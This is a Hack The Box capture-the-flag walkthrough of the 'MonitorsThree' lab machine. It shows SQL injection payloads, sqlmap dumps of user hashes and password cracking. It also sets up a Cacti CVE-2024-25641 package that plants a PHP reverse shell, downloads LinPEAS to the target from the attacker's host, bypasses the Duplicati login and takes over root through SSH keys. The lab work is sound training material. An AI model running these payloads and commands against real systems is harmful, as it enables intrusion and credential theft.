In this walkthrough, we will explore the penetration testing process of a Hack The Box (HTB) machine named “MonitorsThree,” which, at the time of writing, was an active seasonal and moderately challenging machine requiring a combination of patience and skill to exploit fully. This guide will walk you through the steps taken to identify vulnerabilities, exploit them, and eventually gain root access to the target system. Starting with initial reconnaissance, we will perform port scanning and manual enumeration to uncover potential entry points. We will then leverage discovered vulnerabilities to gain initial access, followed by a series of privilege escalation techniques that lead to root. This walkthrough aims to showcase practical techniques and methodologies that are essential for ethical hacking and penetration testing.

As always, I encourage you to attempt compromising this machine on your own first. However, if you find yourself stuck, feel free to refer to this guide for assistance.

Let’s get started!

Enumeration

We’ll begin our enumeration of this machine with a TCP port scan using the following nmap command:

nmap <RHOST> -sV -sC -p- -oA nmap.tcp.version
/* This command scans all TCP ports.
 * The -sV option performs a version detection.
 * The -sC option runs default scripts.
 * The -oA option saves the output in various formats.
 */

The scan reveals two open ports and one filtered port:

22/tcp SSH (OpenSSH 8.9p1 Ubuntu 3ubuntu0.10)
80/tcp HTTP (nginx 1.18.0 on Ubuntu)
8084/tcp Filtered (websnp)

From the nmap scan, we observe that the web server on port 80 redirects to http://monitorsthree.htb/, so we need to add this domain to our /etc/hosts file:

sudo sh -c 'echo "<RHOST> monitorsthree.htb" >> /etc/hosts'

Subdomain Enumeration

Next, let’s check for any subdomains. We’ll use Gobuster for virtual host (vhost) enumeration:

gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
/* vhost specifies Gobuster's mode, in this case, virtual host (vhost) mode for brute-forcing subdomains.
 * -u http://monitorsthree.htb specifies the target URL.
 * --append-domain tells Gobuster to append the domain name to each word in the wordlist.
 * -w specifies the wordlist used for brute-forcing. 
 * -r instructs Gobuster to follow redirects.
 */

The scan identifies the following subdomain:

http://cacti.monitorsthree.htb

However, we encounter a DNS resolution error:

[ERROR] Get "http://cacti.monitorsthree.htb/cacti/": dial tcp: lookup cacti.monitorsthree.htb on 1.1.1.1:53: no such host

This error occurs because we need to add this subdomain to our /etc/hosts file as well:

sudo sh -c 'echo "<RHOST> cacti.monitorsthree.htb" >> /etc/hosts'

Manual Enumeration

We’ll start our manual enumeration with the main domain: http://monitorsthree.htb.

Enumerating monitorsthree.htb

Exploring the website, we find that it consists of three main pages: the index page, a login form (/login.php) that requires a username and password, and a “forgot password” page (/forgot_password.php) that asks for a username. The source code suggests that the site isn’t using any specific CMS but a simple template (Netwica – Networking Landing Page Template).

On the “forgot password” page, entering a random username results in an error: “Unable to process request, try again!” However, entering “admin” returns the message “Successfully sent password reset request.” This indicates that “admin” is a valid username, which could be useful later on!

SQL Injection

When encountering a user input form, it’s crucial to test for SQL Injection vulnerabilities. In this case, we’ll try submitting a “forged” username in the Password Recovery form. If we input the following:

admin’1==1

We receive a SQL error:

Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'or1==1'' at line 1

This error indicates that the form is indeed vulnerable to SQL Injection. By performing some tests using UNION SELECT, we can determine the number of columns in the query:

admin' UNION SELECT 1;--
admin' UNION SELECT 1,2;--
<snip>
admin' UNION SELECT 1,2,3,4,5,6,7,8;--
admin' UNION SELECT 1,2,3,4,5,6,7,8,9;--

We receive the error “SELECT statements have a different number of columns” until we use 9 columns in the UNION SELECT, where the response changes to “Successfully sent password request!” This suggests a Blind SQL Injection vulnerability. Blind SQL Injection is a type of attack where the attacker can’t directly see the results of the injection but infers information based on the application’s behavior, such as response times or error messages. Although it’s more challenging to exploit, it can still be very dangerous (For more details, you can refer to OWASP Blind SQL Injection).

To exploit this vulnerability, we’ll use SQLMap.

Getting the HTTP Request

Before using SQLMap, we need to capture the HTTP request from the form using BurpSuite. Enable the Interceptor and proxy on your browser, then submit a password recovery request. Copy the intercepted request and save it to a file (e.g., reset.request). You’ll notice that the username field is being sent to the server, which is where we’ll inject our SQL.

Dumping Data from the Database

With the captured request, we can now proceed to dump useful data from the database, specifically targeting valid credentials to log into the system.

Note: Due to the nature of Blind SQL Injection, SQLMap scans can take a while to complete. Therefore, we’ll perform individual scans rather than using the --dump-all flag. Be patient and run one scan at a time to avoid errors.

Enumerate Available Databases

Start by identifying the available databases:

sqlmap -r reset.request -p username --dbs --batch
/* -r reset.request specifies the file containing the HTTP request
 * -p username indicates the field vulnerable to SQL Injection. 
 * --dbs enumerates the databases.
 * --batch automates responses to prompts, using default options.
 */

This scan reveals one user-defined database:

[*] monitorsthree_db

Enumerate Tables in monitorsthree_db

Now that we’ve identified the database monitorsthree_db, we can enumerate its tables:

sqlmap -r reset.request -p username --tables -D monitorsthree_db --batch
/* -r reqset.request Specifies the file with the HTTP request.
 * -p username Specifies the vulnerable field. 
 * --tables Enumerates the tables within the database.
 * -D monitorsthree_db Specifies the database to connect to.
 * --batch automates responses to prompts, using default options.
 */

The output shows all tables in the monitorsthree_db database:

[6 tables       ]
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+

Dumping User Data

The most interesting table is users. Let’s extract the data it contains:

sqlmap -r reset.request -p username -D monitorsthree_db -T users --dump --batch

This scan will take some time. We halted it as soon as we retrieved the admin@monitorsthree.htb data. If necessary, we can continue the scan later. The most critical information we obtained includes:

name:     Marcus Higgins
email:    admin@monitorsthree.htb
password: 31a181c8372e3afc59dab863430610e8

Cracking the Password Hash

Now that we have a password hash, we can try cracking it. While we could use Hashcat, the hash appears to be MD5, so we’ll first try using CrackStation for a quicker result. The results from CrackStation are:

Hash:   31a181c8372e3afc59dab863430610e8
Type:   md5
Result: greencacti2001

We’ve successfully cracked the admin password using CrackStation!

We can now attempt to log in to the website using these credentials.

Log Into monitorsthree.htb

Using the credentials admin:greencacti2001, we successfully access the dashboard. It’s time to enumerate the dashboard and look for anything useful.

The dashboard consists of six main pages: Dashboard, Tasks, Invoices, Users, Customers, and Changelog. However, the content appears to be mostly static, with no user input fields. Upon inspecting the source code, we find that the data displayed in the graphs and tables comes from demo .csv files, meaning there’s nothing valuable here. The site doesn’t seem to use a CMS either; it appears to be a simple theme downloaded from the web.

With nothing of interest on the main site, we move on to the subdomain we previously discovered.

Enumerating cacti.monitorsthree.htb

Next, we visit http://cacti.monitorsthree.htb/cacti/, identified during our subdomain scan with Gobuster.

The first thing we see is a User Login screen, which also reveals the running version of the software: Cacti 1.2.26. This could be useful for finding vulnerabilities later.

We attempt to log in with the credentials we found earlier: admin:greencacti2001. Success! We’re now logged in as the admin.

Foothold

Understanding Cacti and Finding Vulnerabilities

Cacti is a network monitoring and fault management software that uses RRDTool for data storage and graphing. It also offers templates, plugins, themes, and language support.

After some research, we find that Cacti version 1.2.26 is vulnerable to a Remote Code Execution (RCE) exploit, specifically CVE-2024-25641. This vulnerability allows authenticated users with the “Import Templates” permission to execute arbitrary PHP code on the server through an arbitrary file write via the “Package Import” feature.

Crafting the Exploit

On Cacti’s GitHub vulnerability page, there’s a detailed explanation and a Proof of Concept (PoC) script written in PHP. This script generates a malicious package that can be imported into Cacti. The PoC script creates an XML file containing a PHP payload, signs it, and compresses it into a .gz file ready for upload.

Malicious Package Generator

To better understand the process, I created a Python script that automates the generation of this malicious package. My script accepts two parameters: a filename for the compressed package and the PHP script’s filename to use as the payload. This way, we can reuse a PHP reverse shell script without manually editing the package generator each time. You can find the script on my GitHub:

Davide-Stefanutti/Cacti-PkgGen-CVE-2024-25641.py

Before using the script, you’ll need to install two Python libraries:

pip install cryptography pyOpenSSL

Preparing the Payload

First, we prepare the PHP reverse shell payload. We used the popular pentestmonkey/php-reverse-shell script. After downloading it, update these two variables:

Before we can use the python script we need to prepare our payload script. In our case we used the pentestmonkey/php-reverse-shell . As always, after downloading the PHP file, we need to modify two variables within the script.

<snip>
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
<snip>

Set the IP address of your attacking machine and the port for your Netcat listener. We chose port 4444 and saved the script as shell.php.

Generating the Malicious Package

Now, we execute our Python script to generate the malicious package:

python Cacti-PkgGen-CVE-2024-25641.py --filename shell --payload ./shell.php

You might see some warnings, which can be safely ignored (due to some deprecated functions in pyOpenSSL, but they don’t affect our use case). After execution, you’ll have a shell.xml.gz package ready for upload.

Starting the Listener

Before uploading the package, start your Netcat listener:

nc -lvnp 4444

Uploading the Package

Navigate to the “Import/Export” tab in Cacti, then select “Package Import”. Choose the shell.xml.gz file we generated. In the “Import Package Filenames” section, you should see a new package with the following details:

Package:  Unknown
Filename: /var/www/html/cacti/resource/shell.php
Status:   Writeable, New

Ensure the checkbox next to the “Unknown” package is ticked to import it correctly. The other options can remain as default.

Executing the Payload

After clicking the “Import” button and receiving a success message, navigate to the payload URL to execute it:

http://cacti.monitorsthree.htb/cacti/resource/shell.php

Switch back to your Netcat listener, where you should now have a shell on the target system.

Initial Access and Enumeration

As always, the first steps inside the system involve basic enumeration:

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
monitorsthree
$ ls home
marcus

We’ve logged in as www-data and can see that the only user in the home directory is marcus. However, the password we previously found (greencacti2001) doesn’t allow us to access Marcus’s account, so we’ll need to find another way.

Upgrading the Shell

Before proceeding further, let’s upgrade our shell using Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Internal Enumeration

Running LinPEAS for Privilege Escalation Discovery

To avoid missing anything during our enumeration, we’ll run LinPEAS, a popular script for finding potential privilege escalation paths on Linux systems.

Disclaimer: LinPEAS can be noisy, and while manual enumeration is possible, running an automated scan can save significant time, especially in CTF scenarios. In a real engagement where stealth is critical, manual enumeration is recommended. To minimize re-running the script, save the logs for future reference.

Uploading LinPEAS to the Target System

LinPEAS is a bash script designed to discover possible privilege escalation vectors. You can download it from GitHub or directly from linpeas.sh.

1. Host LinPEAS on your local machine: Use Python’s HTTP server to serve the script.

python -m http.server

2. Download LinPEAS onto the target: Navigate to a writable directory on the target, like /tmp, and download the script.

www-data@monitorsthree:/tmp$ wget http://<LHOST>:8000/linpeas.sh

3. Make the script executable:

www-data@monitorsthree:/tmp$ chmod +x linpeas.sh

4. Execute LinPEAS and save the output:

www-data@monitorsthree:/tmp$ ./linpeas.sh | tee linpeas_output.txt

Analyze the LinPEAS Results

Review the output carefully for any interesting findings. Here’s a breakdown of what we discovered MySQL Database and Credentials:

MySQL is running on port 3306 and Credentials was found in /var/www/html/cacti/include/config.php.dist:

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';

Accessing the MySQL Database

Using the credentials found in the configuration file, we can log into the MySQL database:

www-data@monitorsthree:/$ mysql -u cactiuser -p
Enter password: cactiuser

Once inside, list the available databases:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cacti              |
| information_schema |
| mysql              |
+--------------------+

The cacti database seems to be of interest. Switch to it and list the tables:

MariaDB [(none)]> use cacti
MariaDB [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
|         < ... SNIP ... >            |
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
|         < ... SNIP ... >            |
+-------------------------------------+

Among the tables, user_auth stands out. Dump the contents to retrieve user credentials:

admin  $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G
guest  $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu
marcus $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK

We have obtained bcrypt hashes for the users admin, guest, and marcus. The ones that interest us are the ones for marcus and admin. These hashes are of the bcrypt type, as indicated by the $2y$ prefix. This prefix signifies the bcrypt algorithm version, which is specifically used in PHP to address a bug in older versions of the language. Additionally, the $10$ part of the hash represents the cost factor, meaning that the hash was created with 2^10 iterations. Knowing that these hashes are bcrypt allows us to use tools like Hashcat to attempt to crack them.

Cracking the Password Hashes with Hashcat

To crack the bcrypt hashes, we’ll use Hashcat:

1. Save the hashes to a text file:

echo '$2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G' > hashes.txt
echo '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' >> hashes.txt

2. Run Hashcat with the Rockyou wordlist:

hashcat -m 3200 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
/* -m 3200 This option is for cracking bcrypt hashes.
* -a 0 Indicates a dictionary attack mode.
* hashes.txt The file containing the hash to be cracked.
* /usr/share/wordlists/rockyou.txt The wordlist used for cracking the hash.
* -o cracked.txt The output file where cracked hashes will be saved.
*/

After a few moments, Hashcat should successfully crack the hash for marcus. The password is revealed to be 12345678910.

With Marcus’s password in hand, you can now attempt to switch to the marcus user on the target system. Meanwhile, you can leave Hashcat running to continue attempting to crack the admin hash if needed.

Accessing Marcus’s Account

We discovered that Marcus’s password in the Cacti database is 12345678910. It’s possible Marcus reused this password for system access, so let’s try switching users.

www-data@monitorsthree:/$ su - marcus
Password: 12345678910

marcus@monitorsthree:~$ whoami
marcus
marcus@monitorsthree:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus) marcus@monitorsthree:~$ ls 
user.txt 
marcus@monitorsthree:~$ cat user.txt 22698f2307b6770d8ea1fb96641668bc

We successfully switched to Marcus’s account and retrieved the user flag!

Switching to an SSH Connection

While exploring Marcus’s home directory, we noticed that the /home/marcus/.ssh folder contains a readable id_rsa file. With this private RSA key, we can securely access the system via SSH.

First, copy the contents of the id_rsa file to a local file on your machine. We’ll save it as marcus.rsa:

nano marcus.rsa        # Paste the content of id_rsa here
chmod 600 marcus.rsa   # Change file permissions to secure the key

Now, with the key saved locally, we can access the system using SSH instead of relying on the reverse shell. This provides us with a fully interactive terminal, enabling file transfers and port forwarding.

ssh -i marcus.rsa marcus@monitorsthree.htb

Port Forwarding to Access Local Services

Reviewing the LinPEAS results, we notice a service running locally on port 8200:

tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -

Let’s forward this local port to a port on our machine to analyze the service. In another terminal, we can forward the remote port 8200 to our local port 1234:

ssh -i marcus.rsa -L 1234:127.0.0.1:8200 marcus@monitorsthree.htb
/* -L tells SSH to create a local port forwarding tunnel.
 * 1234 is the local port on our machine that will connect to the forwarded service.
 * 127.0.0.1:8200 is the destination address and port on the remote machine.
 * marcus@monitorsthree.htb is the username and remote host we're connecting to.
 */

With this SSH session active, we can connect to 127.0.0.1:1234 on our machine, which will forward traffic to the target’s port 8200. Next, we scan the forwarded port using Nmap:

nmap -sV -sC -p 1234 127.0.0.1 -oA nmap.8200

Nmap identifies the service running on port 8200 as a Duplicati HTTP server:
PORT STATE SERVICE VERSION
1234/tcp open http Duplicati httpserver
| http-title: Duplicati Login
|_Requested resource was /login.html
|_http-server-header: Tiny WebServer

The scan results indicate that the service is hosting a web application called Duplicati, which redirects to a login page. We can now visit the page in our browser at http://127.0.0.1:1234/, where we see a login form for the Duplicati application.

Duplicati – Bypass Login Authentication

By searching online for vulnerabilities related to Duplicati, specifically methods to bypass login authentication, we can find a relevant issue on GitHub in the Duplicati application repository. The author describes how, when Duplicati is configured with a login password, it is possible to bypass the login authentication using the database server passphrase without knowing the correct password.

The steps we need to follow are:

Find the Duplicati database location.
Open the Duplicati database using any tool.
Grab the Server_passphrase.
Convert the Server_passphrase from Base64 to Hex.
Open Burp Suite and intercept the request while entering a random password. Then, extract the session nonce from the request.
Open a browser console and run commands to generate a new password using the session nonce and the server passphrase.
Copy the generated password, URL-encode it, replace the password in the Burp Suite request, and forward the newly forged request.
Verify that you have successfully logged into Duplicati.

Let’s start by following these steps:

1. Find Duplicati Database Location

If we check the LinPEAS scan results for Duplicati, we can see that the database location was found during the scan:

Found /opt/duplicati/config/Duplicati-server.sqlite: SQLite 3.x database

2. Open the Duplicati Database

Now that we know the database location, we can download it and then open it using SQLite. In a new terminal, we’ll use SCP to download the file:

scp -i marcus.rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .

With the file downloaded locally, we can open it using SQLite3:

sqlite3 Duplicati-server.sqlite

3. Grab the Server Passphrase

Next, we need to find the Server_passphrase. We start by enumerating the tables:

sqlite> .tables
Backup        Log           Option        TempFile    
ErrorLog      Metadata      Schedule      UIStorage   
Filter        Notification  Source        Version

The Option table seems like a good candidate to contain the passphrase. Let’s read the data inside that table:

sqlite> SELECT * FROM Option;
< ... Snip ... >
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
< ... Snip ... >

We successfully retrieved the server passphrase.

4. Convert the Server Passphrase from Base64 to Hex

We can convert the passphrase using CyberChef or the xxd tool in the terminal:

echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p

This returns:

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

5. Open Burp Suite and Intercept the Request While Entering a Random Password

Start Burp Suite, enable the proxy interceptor, and configure the browser to use the proxy. Once set up, attempt to log in to the Duplicati web interface with a random password. The first intercepted request may not contain the password field, so forward it. The second request, which includes the password field, is the one we’re interested in.

Copy the session nonce from this request. Remember to decode the URL-encoded value. For example:

session-nonce=Bh9yrLt1dsA8vNzbXDtuBxzMRMUSbVpeax24B4gr/7E=

6. Convert the Server Passphrase to a Valid Password

Open the browser console by pressing F12 and navigate to the Console tab. Paste the following code:

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; // Hex output from step 4
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('Bh9yrLt1dsA8vNzbXDtuBxzMRMUSbVpeax24B4gr/7E=') + saltedpwd)).toString(CryptoJS.enc.Base64); // Session nonce from step 5
console.log(noncedpwd);

Before pasting the code, ensure pasting is allowed by typing allow pasting in the console to bypass security features that block it.

After pressing Enter, the console will output a new password. For example:

dXTtGrvGp0FB99L16Rssj6sQPkwTpNH/WhaLqAHCm1A=

7. Forge the Request with the New Password

URL-encode the generated password using CyberChef or Burp Suite’s Decoder (go to the Decoder tab, paste the password, and select “URL” from the “Encode as” dropdown). Replace the original password= value in the intercepted request with the new, encoded password. Then, forward the request. After forwarding, disable Burp Interceptor to allow the browser to complete the login process.

8. Check the Results

If everything was done correctly, you should see that you have successfully logged into the Duplicati Dashboard in the browser tab where you initially made the login request with the random password.

Privilege Escalation

Now that we are logged in, we need to explore whether we can use Duplicati to escalate our privileges from the user marcus to root.

Understanding Duplicati

Duplicati is a free, open-source backup client that securely stores encrypted, incremental, and compressed backups on cloud storage services and remote file servers (source: GitHub/Duplicati).

The Plan

After some experimentation, we devised an attack plan. Duplicati allows for the backup and restoration of files and directories. What if we could back up the /home/marcus/.ssh folder and then restore it to a different directory, like /root/.ssh? If we manage to do this, we could potentially log in as root using the same id_rsa key we found earlier and are currently using to log in as marcus.

Backup the marcus/.ssh Folder

Add a New Backup in Duplicati:
- Go to “Add Backup” and configure a new backup. Name it anything you want; in this case, we used “SSH”. Select “No encryption”.
- In the Destination tab, manually enter the Folder path as /home/my_ssh_keys. This is a temporary folder within the Duplicati instance where our keys will be stored.
- Test the connection, and when Duplicati asks if you want to create the my_ssh_keys folder, select “Yes”. After receiving the “Connection worked!” message, move on to the Source Data tab.
- Manually add a path. To back up the .ssh folder for marcus, enter: /source/home/marcus/.ssh and press “Add path”.
- Once the path is added, move through the last two tabs, leaving the default options, and click “Save”.
Run the Backup:
- After saving, refresh the page so that the new backup (named “SSH” in our case) appears on the Home page. Click “Run now” under its name.
- The label “Last successful backup” should change from “Never” to the current system date, indicating that the backup was successful.

Restore the .ssh Folder

Restore the Backup:
- Navigate to the Restore page, select the backup we just created (SSH), and click “Next”.
- Select the entire contents of /source/home/marcus/.ssh, including the folder itself.
- Click “Continue”. Under “Where do you want to restore the files to?”, select “Pick location” and manually enter the Folder path as /source/root/.ssh.
- Leave the “Overwrite” option selected, do not check the “Restore read/write permissions” option, and click “Restore”.
- You should see a message saying “Your files and folders have been restored successfully!”

Use SSH to Access the System as root

Now that we have successfully replaced the SSH keys in the root folder with those of marcus, we can use the previously retrieved id_rsa key to log in as root. Open a new terminal in the same directory where you saved the marcus.rsa file and run:

ssh -i marcus.rsa root@monitorsthree.htb

root@monitorsthree:~# whoami
root
root@monitorsthree:~# hostname
monitorsthree
root@monitorsthree:~# id
uid=0(root) gid=0(root) groups=0(root)
root@monitorsthree:~# cat /root/root.txt 
3f4d716bd3b6ef746a0a0b9cf2f828eb

We have successfully gained root access to the machine!

Conclusion

In conclusion, this walkthrough covered the essential steps to successfully exploit the “MonitorsThree” machine on Hack The Box. We began with a thorough enumeration that led to discovering and cracking hashed passwords, allowing us to gain initial access. From there, we escalated our privileges by leveraging vulnerabilities in the Duplicati backup tool, eventually gaining root access. This exercise underscores the importance of persistence, detailed enumeration, and creative thinking in penetration testing, especially when dealing with more complex and less straightforward machines. By applying these techniques, ethical hackers can better understand system vulnerabilities and contribute to improving security defenses.

Thank you for following along with this walkthrough. I hope you found it both challenging and informative. Your feedback is always appreciated, so feel free to share your thoughts or ask any questions. Happy hacking!

Davide Stefanutti

Support Me on Ko-fi